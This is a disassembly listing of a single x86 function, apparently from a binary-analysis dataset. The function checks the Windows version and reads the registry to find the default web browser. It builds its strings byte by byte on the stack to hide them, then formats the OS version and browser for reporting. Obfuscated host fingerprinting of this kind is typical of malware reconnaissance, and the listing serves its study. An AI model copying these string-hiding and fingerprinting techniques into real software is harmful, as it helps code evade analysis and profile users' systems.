Function at 0x407880
Capabilities:
Check os version
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bba2c
mov eax, dword fs:[0]
push eax
sub esp, 0x1d8
mov eax, dword [0x633ef8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x148]
mov dword [ebp - 0x148], 0x68746f
push eax
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0
call fcn.004160f0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x1d8], 6
mov dword [ebp - 0x138], 0
jb 0x407d16
call fcn.004555ae
mov ecx, eax
test ecx, ecx
jne 0x40791c
push 0x80004005
call fcn.00416970
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x138], eax
mov byte [ebp - 4], 1
lea eax, [ebp - 0x140]
push eax
push 0x800
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x140], 0x800
mov dword [ebp - 0x1e0], 1
mov dword [ebp - 0x36], 0x6c72555c
mov word [ebp - 0x59], 0x6f73
mov dword [ebp - 0x62], 0x5c5c6572
mov word [ebp - 0x28], 0x736e
mov byte [ebp - 0x5e], 0x4d
mov dword [ebp - 0x23], 0x5c707474
mov word [ebp - 0x43], 0x7341
mov dword [ebp - 0x56], 0x575c5c74
mov dword [ebp - 0x41], 0x69636f73
mov dword [ebp - 0x2e], 0x74616963
mov dword [ebp - 0x1f], 0x6573555c
mov word [ebp - 0x52], 0x6e69
mov word [ebp - 0x46], 0x5c6c
mov word [ebp - 0x49], 0x6568
mov word [ebp - 0x1b], 0x4372
mov word [ebp - 0x25], 0x685c
mov word [ebp - 0x4c], 0x5c5c
mov word [ebp - 0x3a], 0x6e6f
mov dword [ebp - 0x18], 0x6563696f
mov word [ebp - 0x2a], 0x6f69
mov word [ebp - 0x4f], 0x776f
mov word [ebp - 0x64], 0x6177
mov byte [ebp - 0x44], 0x5c
mov word [ebp - 0x3d], 0x7461
mov byte [ebp - 0x4d], 0x73
mov byte [ebp - 0x26], 0x5c
mov dword [ebp - 0x32], 0x6f737341
mov word [ebp - 0x38], 0x5c73
mov byte [ebp - 0x47], 0x6c
mov dword [ebp - 0x5d], 0x6f726369
mov byte [ebp - 0x14], 0
mov word [ebp - 0x67], 0x666f
mov byte [ebp - 0x19], 0x68
mov byte [ebp - 0x68], 0x53
mov byte [ebp - 0x57], 0x66
mov byte [ebp - 0x65], 0x74
mov byte [ebp - 0x50], 0x64
mov byte [ebp - 0x4a], 0x53
mov byte [ebp - 0x3b], 0x69
mov word [ebp - 0x10c], 0x6449
mov word [ebp - 0x10f], 0x6f72
mov byte [ebp - 0x110], 0x50
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10a], 0
call fcn.00416610
push eax
lea eax, [ebp - 0x1e0]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x68]
push eax
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov eax, dword [ebp - 0x138]
push dword [eax - 8]
push eax
call fcn.0059ea3d
add esp, 8
test eax, eax
js 0x407d0c
mov ecx, dword [ebp - 0x138]
cmp eax, dword [ecx - 8]
jg 0x407d0c
mov dword [ecx - 0xc], eax
mov ecx, dword [ebp - 0x138]
mov byte [eax + ecx], 0
mov eax, dword [ebp - 0x138]
mov word [ebp - 0xf5], 0x5448
mov word [ebp - 0xf2], 0x50
mov word [ebp - 0xf7], 0x2e45
mov byte [ebp - 0xf8], 0x49
mov byte [ebp - 0xf3], 0x54
mov dword [ebp - 0xcb], 0x5255786f
mov dword [ebp - 0xcf], 0x66657269
mov word [ebp - 0xc7], 0x4c
mov byte [ebp - 0xd0], 0x46
mov word [ebp - 0xdd], 0x6d6f
mov dword [ebp - 0xd9], 0x4c4d54
mov word [ebp - 0xe0], 0x6843
mov byte [ebp - 0xde], 0x72
mov word [ebp - 0xdb], 0x4865
mov word [ebp - 0x124], 0x61
mov word [ebp - 0x127], 0x6570
mov byte [ebp - 0x125], 0x72
mov byte [ebp - 0x128], 0x4f
mov word [ebp - 0xb7], 0x4d54
mov dword [ebp - 0xbc], 0x6d75696d
mov dword [ebp - 0xc0], 0x6f726843
mov byte [ebp - 0xb8], 0x48
mov byte [ebp - 0xb5], 0
mov dword [ebp - 0x82], 0x32367379
mov dword [ebp - 0x8e], 0x30717870
mov dword [ebp - 0x7d], 0x66306533
mov dword [ebp - 0x71], 0x38726b79
mov dword [ebp - 0x79], 0x37617162
mov dword [ebp - 0x88], 0x656d7a76
mov dword [ebp - 0x75], 0x70616570
mov word [ebp - 0x90], 0x7061
mov word [ebp - 0x6d], 0x76
mov byte [ebp - 0x7e], 0x6e
mov word [ebp - 0x84], 0x7032
mov word [ebp - 0x8a], 0x6566
cmp dword [eax - 0xc], 0
jl 0x407cc9
lea ecx, [ebp - 0xf8]
push ecx
push eax
call fcn.0059bf87
mov ecx, eax
add esp, 8
mov eax, dword [ebp - 0x138]
test ecx, ecx
je 0x407c0b
sub ecx, eax
js 0x407c0b
push 0x609518
jmp 0x407f7c
cmp dword [eax - 0xc], 0
jl 0x407cc9
lea ecx, [ebp - 0xd0]
push ecx
push eax
call fcn.0059bf87
mov ecx, eax
add esp, 8
mov eax, dword [ebp - 0x138]
test ecx, ecx
je 0x407c3f
sub ecx, eax
js 0x407c3f
push 0x60951c
jmp 0x407f7c
cmp dword [eax - 0xc], 0
jl 0x407cc9
lea ecx, [ebp - 0xe0]
push ecx
push eax
call fcn.0059bf87
mov ecx, eax
add esp, 8
mov eax, dword [ebp - 0x138]
test ecx, ecx
je 0x407c73
sub ecx, eax
js 0x407c73
push 0x609520
jmp 0x407f7c
cmp dword [eax - 0xc], 0
jl 0x407cc9
lea ecx, [ebp - 0x128]
push ecx
push eax
call fcn.0059bf87
mov ecx, eax
add esp, 8
mov eax, dword [ebp - 0x138]
test ecx, ecx
je 0x407c9d
sub ecx, eax
jns 0x407f77
cmp dword [eax - 0xc], 0
jl 0x407cc9
lea ecx, [ebp - 0xc0]
push ecx
push eax
call fcn.0059bf87
add esp, 8
test eax, eax
je 0x407cc9
sub eax, dword [ebp - 0x138]
js 0x407cc9
push 0x609528
jmp 0x407f7c
lea ecx, [ebp - 0x138]
call fcn.0040ae60
mov esi, eax
mov eax, dword [esi]
cmp dword [eax - 0xc], 0
jl 0x407f87
lea ecx, [ebp - 0x90]
push ecx
push eax
call fcn.0059bf87
add esp, 8
test eax, eax
je 0x407f87
sub eax, dword [esi]
js 0x407f87
push 0x60952c
jmp 0x407f7c
push 0x80070057
call fcn.00416970
call fcn.004555ae
mov ecx, eax
test ecx, ecx
jne 0x407d2b
push 0x80004005
call fcn.00416970
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x138], eax
mov byte [ebp - 4], 2
mov edx, 1
mov dword [ebp - 0x1e0], 0x800
mov dword [ebp - 0x140], 1
mov dword [ebp - 0x9e], 0x6d6f635c
mov word [ebp - 0xaa], 0x6873
mov dword [ebp - 0xa4], 0x65706f5c
mov word [ebp - 0x97], 0x64
mov word [ebp - 0xa7], 0x6c6c
mov dword [ebp - 0xb0], 0x70747468
mov word [ebp - 0x9a], 0x616d
mov word [ebp - 0xac], 0x5c5c
mov byte [ebp - 0xa5], 0x5c
mov word [ebp - 0xa0], 0x5c6e
mov byte [ebp - 0x98], 0x6e
mov byte [ebp - 0xa8], 0x65
mov ecx, dword [eax - 8]
sub edx, dword [eax - 4]
sub ecx, 0x800
or ecx, edx
jge 0x407de5
push 0x800
lea ecx, [ebp - 0x138]
call fcn.004165b0
mov eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x1e0]
push ecx
push eax
lea eax, [ebp - 0x140]
push eax
push 0x6097b3
lea eax, [ebp - 0xb0]
push eax
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov eax, dword [ebp - 0x138]
push dword [eax - 8]
push eax
call fcn.0059ea3d
add esp, 8
test eax, eax
js 0x407d0c
mov ecx, dword [ebp - 0x138]
cmp eax, dword [ecx - 8]
jg 0x407d0c
mov dword [ecx - 0xc], eax
mov ecx, dword [ebp - 0x138]
mov byte [eax + ecx], 0
lea ecx, [ebp - 0x138]
mov dword [ebp - 0xec], 0x70786569
mov word [ebp - 0xe5], 0x65
mov word [ebp - 0xe8], 0x6f6c
mov byte [ebp - 0xe6], 0x72
mov dword [ebp - 0x103], 0x66657269
mov byte [ebp - 0x104], 0x66
mov word [ebp - 0xfe], 0x78
mov byte [ebp - 0xff], 0x6f
mov dword [ebp - 0x11c], 0x6f726863
mov word [ebp - 0x118], 0x656d
mov byte [ebp - 0x116], 0
mov dword [ebp - 0x134], 0x7265706f
mov word [ebp - 0x130], 0x61
call fcn.0040ae60
push eax
lea ecx, [ebp - 0x138]
call fcn.00416300
mov eax, dword [ebp - 0x138]
cmp dword [eax - 0xc], 0
jl 0x407f87
lea ecx, [ebp - 0xec]
push ecx
push eax
call fcn.0059bf87
mov ecx, eax
add esp, 8
mov eax, dword [ebp - 0x138]
test ecx, ecx
je 0x407efd
sub ecx, eax
jns 0x407c01
cmp dword [eax - 0xc], 0
jl 0x407f87
lea ecx, [ebp - 0x104]
push ecx
push eax
call fcn.0059bf87
mov ecx, eax
add esp, 8
mov eax, dword [ebp - 0x138]
test ecx, ecx
je 0x407f2b
sub ecx, eax
jns 0x407c35
cmp dword [eax - 0xc], 0
jl 0x407f87
lea ecx, [ebp - 0x11c]
push ecx
push eax
call fcn.0059bf87
mov ecx, eax
add esp, 8
mov eax, dword [ebp - 0x138]
test ecx, ecx
je 0x407f55
sub ecx, eax
jns 0x407c69
cmp dword [eax - 0xc], 0
jl 0x407f87
lea ecx, [ebp - 0x134]
push ecx
push eax
call fcn.0059bf87
add esp, 8
test eax, eax
je 0x407f87
sub eax, dword [ebp - 0x138]
js 0x407f87
push 0x609524
lea ecx, [ebp - 0x13c]
call fcn.00416890
lea ecx, [ebp - 0x138]
call fcn.004168d0
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x138], 0
call fcn.00416940
mov byte [ebp - 4], 3
lea eax, [ebp - 0x138]
push dword [ebp - 0x13c]
push str.db__s
push eax
call fcn.00415ec0
push dword [ebp - 0x138]
call fcn.00405890
push dword [ebp - 0x1d4]
lea eax, [ebp - 0x138]
push dword [ebp - 0x1d8]
push str.os__d._d
push eax
call fcn.00415ec0
push dword [ebp - 0x138]
call fcn.00405890
call fcn.0042b630
neg eax
sbb eax, eax
neg eax
push eax
lea eax, [ebp - 0x138]
push str.ff__d
push eax
call fcn.00415ec0
push dword [ebp - 0x138]
call fcn.00405890
add esp, 0x34
lea ecx, [ebp - 0x138]
call fcn.004168d0
lea ecx, [ebp - 0x13c]
call fcn.004168d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005892bc
mov esp, ebp
pop ebp
ret